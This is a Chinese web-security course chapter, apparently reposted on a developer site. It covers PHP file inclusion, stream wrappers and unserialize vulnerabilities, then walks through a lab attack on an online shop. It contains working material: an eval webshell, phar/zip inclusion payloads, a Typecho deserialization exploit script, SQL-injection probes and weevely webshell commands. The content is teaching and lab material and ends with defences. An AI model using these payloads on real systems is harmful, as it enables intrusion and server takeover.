12.1 文件包含漏洞

12.1.1 文件包含
1. 文件包含使用场景
  1. 配置文件。用于整个web应用的配置信息,如数据库的用户名及密码,使用的数据 库名,系统默认的文字编码,是否开启Debug模式等信息。

  2. 重复使用的函数。如连接数据库,过滤用户的输入中的危险字符等。(需要过滤)

  3. 重复使用的版块。如页面的页头、页脚以及菜单文件。通过文件包含对这些文件进 行引入,在某个地方需要修改时,开发人员只需要对单个文件进行更新即可,而不 需要修改使用这些板块的其他文件。

  4. 具有相同框架的不同功能。开发人员可以在不同的页面引入页头、页脚,也可以在 定义好页头、页脚的框架中引入不同的功能。

12.1.2 本地文件包含漏洞
1. 文件包含漏洞定义
  1. 如果被包含文件的文件名是从用户处获得的,且没有经过恰当的检测

  2. 从而包含了预想之外的文件,导致了文件泄露甚至是恶意代码注入,这就是文件包含漏洞。

2. 使用场景
  1. 包含上传的合法文件

    • 通常应用中都会有文件上传的功能,比如用户头像上传、附件上传等。

    • 通过文件上传, 攻击者将能携带有恶意代码的合法文件上传到服务器中,

    • 结合文件包含漏洞,可 以将上传的恶意文件引入,使其中的恶意代码得到执行。

  2. 包含日志文件

    • Web 服务器往往会将用户的请求记录在一个日志文件中,以供系统管理员审查。在Ubuntu 系统下,apache 默认的日志文件为/var/log/apache2/access.log。

    • 日志文件会记录用户的 ip 地址、访问的url、访问时间等信息。 利用这个功能,攻击者可以先构造一条包含恶意代码的请求,如 http://.../index.php?a=,这一条请求会被 web 服务 器写入日志文件中,再利用本地文件包含漏洞,如 http://.../index.php?func=..../../log/apache2/access.log,将日志文件引入,使得植入的恶意代码得到执行。

12.1.3 远程文件包含漏洞
1. 远程文件包含漏洞定义
  • 如果存在文件包含漏洞,且允许被包含的文件可以通过url获取,则称为远程文件包含漏洞。

2. PHP中的设置
  • allow_url_fopen:设置是否允许 PHP 通过 url 打开文件,默认为 On

  • allow_url_include:设置是否允许通过 url 打开的文件用于 include 等函数,默认为 Off

  • allow_url_fopen 是 allow_url_include 开启的前提条件,只有 allow_url_fopen 与 allow_url_include 同时设置为On 时,才可能存在远程文件包含漏洞。出于安全考虑,这两 个变量的值只能在配置文件php.ini中更改。

3. 远程文件包含漏洞的利用
  1. 包含攻击者服务器上的恶意文件

  2. 通过PHP伪协议进行包含

    • 两个设置同时开启

    • include 等函数支持从PHP伪协议中的php://input处获取输入流,

    • php://input可以访问请求的原始数据的只读流,也就是通过POST方式发送的内容。借助PHP伪协议,攻击者直接将想要在服务器上 执行的恶意代码通过POST的方式发送给服务器就能完成攻击。

    • 例如,在下面这个http数据包中,就是php://input 所获取到的内容

12.1.4 PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,允许以统一的方式访问各种资源

可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能注册自定义的封装协议。常见的协议有:

  • file:// — 访问本地文件系统

  • http:// — 访问 HTTP(s) 网址

  • ftp:// — 访问 FTP(s) URLs

  • php:// — 访问各个输入/输出流(I/O streams)

  • zlib:// — 压缩流

  • data:// — 数据(RFC 2397)

  • glob:// — 查找匹配的文件路径模式

  • phar:// — PHP 归档

  • ssh2:// — Secure Shell 2

  • rar:// — RAR

  • ogg:// — 音频流

  • expect:// — 处理交互式的流

1. 常见php的协议内容
  1. php://filter

    • php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

    • php://filter 可以读取本地文件的内容,还可以对读取的内容进行编码处理。

    • 被include等函数包含的文件会被当作PHP文件一样进行处理,如果被包含的文件中有PHP代码,那么PHP代码将会执行,文件中PHP代码以外的内容,会直接返回给客户端。

    • 利用这个特性,攻击者可以获取到 web 页面的源代码。为后续的渗透工作提供帮助。下面的例子中,攻击者对index.php内容 进行了base64编码,将获取到的字符串在本地进行base64解码后就能得到index.php的内容。

  2. pahr://与 zip://

    • phar://与 zip://可以获取压缩文件内的内容,如在 hack.zip 的压缩包中,有一个 shell.php 的文件,则可以通过 phar://hack.zip/shell.php 的方式访问压缩包内的文件

    • zip://也是类似。这两个协议不受文件后缀名的影响,将hack.zip改名为hack.jpg后,依 然可以通过这种方式访问压缩包内的文件。

文件包含的限制:只允许包含以.php后缀结尾的 文件,而文件上传功能只允许上传.jpg等后缀结尾的图片文件。

文件包含限制的绕过

/*index.php*/ 
<?php 
$file=$_GET[‘func’]; 
include $file.”.php”; 
  1. 先构造内容为<?php eval($_POST[‘pass’]);?>的shell.php,

  2. 将 shell.php 以 zip 的格式压缩并改名为 hack.jpg,上传到服务器中后,

  3. 再构造 payload: http://www.xxx.com/index.php?func=phar://hack.jpg/shell,就能使 shell.php 中的恶意 代码得到执行。

常用payload:http://www.xxx.com/index.php?func=zip://hack.jpg%23shell.php zip 协议的用法为zip://hack.jpg#shell.php,由于#在 http 协议中有特殊的含义,所以在发送请求时要对其进行url编码 http://www.xxx.com/index.php?func=phar://hack.jpg/shell.php

实验一:在DVWA测试环境中完成文件包含漏洞的攻击。

12.2 反序列化漏洞

12.2.1 序列化与反序列化
1. 序列化
  • 序列化是指将对象、数组等数据结构转化为可以储存的格式的过程。

  • 程序在运行时,变量的值都是储存在内容中的

  • 程序运行结束,操作系统就会将内存空间收回,要想要将内存中的变量写入磁盘中或是通过网络传输,就需要对其进行序列化操作,序列化能将一个对象 转换成一个字符串。

  • 在PHP中,序列化后的字符串保存了对象所有的变量,但是不会保存对 象的方法,只会保存类的名字。Java、python和php等编程语言都有各自的序列化的机制。

示例:

/*serialize.php*/ 
<?php 
class example{ 
    private $message='hello world'; 
    public function set_message($message){ 
        $this->message=$message; 
    } 
    public function show_message(){ 
        echo $this->message; 
    } 
} 
$object = new example(); 
$serialized = serialize($object); 
file_put_contents('serialize.txt', $serialized); 
echo $serialized;  
?> 
  • 上述代码会创建一个example类的对象,并将其序列化后保存到serialize.txt中并打 印到屏幕上。上述代码运行的结果为:

  • $serialized = serialize($object);

O:7:"example":1:{s:16:" example message";s:11:"hello world";} 
  • 0代表储存的是对象(object),

  • 7代表类名有7个字符,example代表类名,

  • 1代表对象 中变量个数,

  • s表示字符串,16,代表长度,

  • example message是类名及变量名。

2. 反序列化

定义:将序列化后的字符串恢复为数据结构的过程就叫做反序列化

  • 为了能够反序列化一个对 象,这个对象的类在执行反序列化的操作前必须已经定义过。

/*unserialize.php*/ 
<?php 
 
class example{ 
    private $message='hello world'; 
    public function set_message($message){ 
        $this->message=$message; 
    } 
    public function show_message(){ 
        echo $this->message; 
    } 
} 
$serialized = file_get_contents("serialize.txt"); 
$object = unserialize($serialized); 
$object->set_message('unserialized success'); 
$object->show_message(); 
?> 

$object = unserialize($serialized);

上述代码执行完后会在屏幕上打印“unserialized success”。

12.2.2 PHP魔术方法

定义:PHP有一类特殊的方法,它们以__(两个下划线)开头,在特定的条件下会被调用,例如类的构造方法__construct(),它在实例化类的时候会被调用。下面是PHP中常见的一些魔术 方法。

__construct(),类的构造函数,创建新的对象时会被调用 
__destruct(),类的析构函数,当对象被销毁时会被调用 
__call(),在对象中调用一个不可访问方法时会被调用 
__callStatic(),用静态方式中调用一个不可访问方法时调用 
__get(),读取一个不可访问属性的值时会被调用 
__set(),给不可访问的属性赋值时会被调用 
__isset(),当对不可访问属性调用isset()或empty()时调用 
__unset(),当对不可访问属性调用unset()时被调用。 
__sleep(),执行serialize()时,先会调用这个函数 
__wakeup(),执行unserialize()时,先会调用这个函数 
__toString(),类被当成字符串时的回应方法 
__invoke(),调用函数的方式调用一个对象时的回应方法 
__set_state(),调用var_export()导出类时,此静态方法会被调用。 
__clone(),当对象复制完成时调用 
__autoload(),尝试加载未定义的类 
__debugInfo(),打印所需调试信息

下面是一个使用PHP魔术方法的类的示例,在反序列化时,类中的__wakeup()方法会被 调用,并输出“Hello World”

<?php  
class magic{ 
function __wakeup(){ 
        echo 'Hello World'; 
    } 
} 
$object = new magic(); 
$serialized = serialize($object); 
unserialize($serialized); 
?> 
12.2.3 PHP 反序列化漏洞
  • PHP反序列化漏洞又叫PHP对象注入漏洞。

  • 在一个应用中,如果传给unserialize()的参 数是用户可控的,那么攻击者就可以通过传入一个精心构造的序列化字符串,利用PHP魔术方法来控制对象内部的变量甚至是函数。

  • 对这一类漏洞的利用,往往需要分析web应用的源代码。

课本上的示例代码,接下来将逐步解析
  1. 触发点 - Typecho_Db构造

攻击者可以控制$config['adapter']的值,这个值会被传入Typecho_Db构造函数:

class Typecho_Db {
    public function __construct($adapterName) {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName; 
    }
}
  1. 字符串操作触发__toString()

当PHP尝试将对象当作字符串使用时(如这里的字符串拼接),会调用该对象的__toString()方法。我们可以构造一个Typecho_Feed对象作为$adapterName

class Typecho_Feed {
    private $item;
    public function __toString() {
        $this->item['author']->screenName;
    }
}
  1. 访问不存在属性触发__get()

__toString()中,访问$this->item['author']->screenName时,如果author对象没有screenName属性,会触发该对象的__get()方法:

class Typecho_Request {
    public function __get($key) {
        return $this->get($key);
    }
    
    public function get($key, $default = NULL) {
        // ... 获取值逻辑 ...
        return $this->_applyFilter($value);
    }
    
    private function _applyFilter($value) {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) : 
                call_user_func($filter, $value);
            }
            $this->_filter = array();
        }
        return $value;
    }
}
  1. 最终命令执行

关键在于_applyFilter()方法中的call_user_func(),如果攻击者能控制$filter$value,就能执行任意PHP函数:

call_user_func($filter, $value);  // 可执行任意函数
完整利用链构造
  1. 构造一个Typecho_Request对象,设置_filter_params为攻击者控制的函数和参数

  2. 将这个对象作为author放入Typecho_Feed$item

  3. Typecho_Feed对象作为adapter参数传递给Typecho_Db

  4. 序列化这个结构并base64编码,通过__typecho_config参数传递

利用代码

/*exp.php*/ 
<?php 
class Typecho_Feed 
{ 
    private $item; 
  
    public function __construct(){ 
        $this->item = array( 
            'author' => new Typecho_Request(), 
        ); 
    } 
} 
class Typecho_Request 
{ 
    private $_params = array(); 
    private $_filter = array(); 
    public function __construct(){ 
    $this->_params['screenName'] = 'phpinfo()'; 
    $this->_filter[0] = 'assert'; 
} 
} 
$exp = array( 
'adapter' => new Typecho_Feed() 
); 
echo base64_encode(serialize($exp)); 
?> 

实验二:复现11.2.3中的反序列化漏洞,并执行其他的系统命令

12.3 整站攻击案例

1. 环境搭建与初步侦查
  • 下载并部署shopstore源码到本地web目录

  • 配置数据库连接信息(db_fns.php)

  • 导入数据库(bootstore.sql)

  • 浏览网站功能,了解基本架构

    • 发现分类浏览功能(catid参数)

2. SQL注入攻击
  • 发现catid参数存在SQL注入漏洞(使用永真永假法确认)

    • catid=1' and '1'='1 返回正常

    • catid=1' and '1'='2 返回为空

  • 使用sqlmap工具自动化注入:

    • 获取当前数据库:book_sc

    • 枚举表名:发现敏感表admin

    • 导出admin表数据:获取管理员哈希密码d033e22ae348aeb5660fc2140aec35850c4da997

  • 通过cmd5.com破解哈希得到明文密码:admin

3. 后台发现与登录
  • 使用nikto扫描发现后台地址:/admin.php

  • 使用获取的凭据(admin/admin)成功登录后台

4. 文件上传漏洞利用
  • 发现后台"Add a new book"功能中的文件上传点

  • 使用weevely生成PHP webshell:

    weevely generate pass /tmp/shell.php
  • 上传webshell(shell.php)伪装成书籍图片

  • 通过查看网页源码确认上传路径为images/目录

5. Webshell连接与服务器控制
  • 访问上传的webshell:http://localhost:8888/shopcar/images/shell.php

  • 使用weevely连接获取服务器访问权限:

    weevely http://localhost:8888/shopcar/images/shell.php pass
  • 获得www-data用户权限(需进一步提权获取root)

技术要点总结
  1. 漏洞利用链

    • SQL注入 → 获取管理员凭证 → 后台登录 → 文件上传 → Webshell → 服务器控制

  2. 工具使用

    • sqlmap:自动化SQL注入

    • nikto:网站目录扫描

    • weevely:生成和管理PHP webshell

  3. 防御建议

    • 对用户输入进行严格过滤和参数化查询

    • 使用强哈希算法(如bcrypt)存储密码

    • 限制后台访问IP

    • 文件上传进行严格的内容检查和重命名

    • 最小权限原则运行Web服务

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐